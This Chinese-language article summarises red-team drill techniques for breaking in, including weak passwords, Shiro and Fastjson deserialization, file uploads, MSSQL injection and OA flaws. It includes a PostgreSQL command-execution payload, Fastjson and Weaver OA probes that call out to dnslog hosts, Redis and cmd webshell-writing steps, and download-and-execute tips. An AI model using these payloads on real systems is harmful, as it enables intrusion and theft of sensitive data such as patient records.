攻防演练中攻击方的思考
字数 1981 2025-08-25 22:59:15
攻防演练中攻击方的突破方法与技术总结
前言
本文基于18+省市级别实战攻防演练和90+单位失陷报告,总结了攻击方在攻防演练中常用的突破方法和技术。重点围绕权限获取和敏感数据窃取两大得分项展开,不包含钓鱼和0day利用等高阶技术。
主要突破方法统计
根据实战数据,攻击方最常用的突破方法按出现频率排序如下:
- 弱口令(Web应用)
- Shiro反序列化
- 任意文件上传(通用)
- Fastjson反序列化
- 敏感信息泄露
- UEditor1.4.3任意文件上传
- MSSQL堆叠注入
- OA系统漏洞
详细技术解析
1. 弱口令攻击
Web应用弱口令
-
爆破技巧:
- 尝试绕过验证码(不刷新或逻辑错误)
- 在忘记密码处寻找用户名枚举漏洞
- 用户名字典构建:姓名简称、工号ID、JS正则分析、Google信息搜索
- 大量用户基数时,固定弱口令遍历用户名效果最佳
- 管理员密码常见模式:域名简称+@年份、系统简称+年份
-
推荐字典:
其他服务弱口令
PostgreSQL:
- CVE-2019-9193(9.3至11.2版本)任意命令执行:
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'whoami'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec;
Redis:
-
连接后先执行
info查看服务器信息 -
Redis 4.x/5.x RCE利用:
-
Linux利用:
- 写计划任务
- 写公钥
- 写webshell(需知道web路径)
-
Windows利用:
- 写启动项(
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup) - 写webshell(需知道web路径)
- 工具:RedisWriteFile
- 写启动项(
Jenkins弱口令:
- 后台脚本命令行执行命令
- 使用LOLBAS技术下载执行
Adminer弱口令:
- MySQL写webshell
2. Shiro反序列化
-
指纹识别:
- 目标发散到域名→子域名→IP→全端口
- 将URL导入shiro识别工具
- 微信公众号中也可能存在shiro应用
-
利用工具:
3. 任意文件上传
-
快速验证:
- 判断是否为后端白名单校验
- 上传文件内容应无害,避免WAF干扰
- 明确失败原因是程序限制还是WAF阻拦
-
实战案例:
- 微信小程序上传漏洞
- swagger信息泄露中的upload接口
- 银行在线聊天系统的图片上传功能
- 后台Kindeditor上传+文件管理重命名
-
WAF绕过:
- 利用服务器与WAF对数据包解析的差异性
- 构造畸形数据包
4. Fastjson反序列化
-
检测方法:
- 报错抛出异常
- DNSlog检测:
{"rand1":{"@type":"java.net.InetAddress","val":"gbi7ge.dnslog.cn"}} {"rand2":{"@type":"java.net.Inet4Address","val":"gbi7ge.dnslog.cn"}} {"rand3":{"@type":"java.net.Inet6Address","val":"gbi7ge.dnslog.cn"}}
-
WAF绕过:
- hex编码
- 使用
\b等特殊字符
-
利用工具:
5. 敏感信息泄露
- 常见场景:
- 医院微信公众号/小程序遍历病例数据
- swagger信息泄露构造接口查询
- 云key泄露导入行云管家获取权限
6. UEditor1.4.3任意文件上传
-
识别特征:
- .NET网站图片URL格式:
~/ueditor~/upload/image/[20200101]/25位数字.png - 上传路径:
~/net/controller.ashx
- .NET网站图片URL格式:
-
绕过技巧:
- 使用
.png?.aspx或.png.aspx绕过 - 利用UEditor过滤
?的特性
- 使用
7. MSSQL堆叠注入
- 利用方法:
--os-shell获取命令行- 使用certutil下载执行或powershell上线
- 写入webshell:
- 定位物理路径:
for /r C:\ %i in (*xxx*) do @echo %i dir /s/a-d/b C:\*xxx.xxx - 写入文件:
echo ^<一句话^> >C:\phpstudy_pro\WWW\shell.txt - 注意使用
^转义特殊字符
- 定位物理路径:
8. OA系统漏洞
-
常见OA类型:
- 泛微OA
- 致远OA
- 通达OA
- 用友NC
-
利用方法:
- 搜索GitHub已有漏洞利用
- 积累未披露的利用点
- 泛微OA的WorkflowServiceXml反序列化漏洞
-
检测Payload:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn"> <soapenv:Header/> <soapenv:Body> <web:doCreateWorkflowRequest> <web:string> <map> <entry> <url>http://m5alw5.dnslog.cn</url> <string>http://m5alw5.dnslog.cn</string> </entry> </map> </web:string> <web:string>2</web:string> </web:doCreateWorkflowRequest> </soapenv:Body> </soapenv:Envelope>
其他技术要点
-
SQL注入:
- 获取敏感数据
- 使用sqlmap时添加
random-agent参数
-
历史遗留后门:
- 如404.jsp等非常规入口点
-
效率技巧:
- 优先测试常见漏洞点(上传/shiro/fastjson等)
- 减少试错过程,避免无用功
- "柿子捡软的捏" - 选择最容易突破的点
总结
攻防演练中攻击方的成功关键在于:
- 全面资产收集和识别
- 快速验证和利用常见漏洞
- 针对不同服务采用特定攻击方法
- 保持攻击效率,优先选择易突破点
通过系统性地应用这些技术和方法,攻击方可以在攻防演练中有效打开缺口,获取系统权限和敏感数据。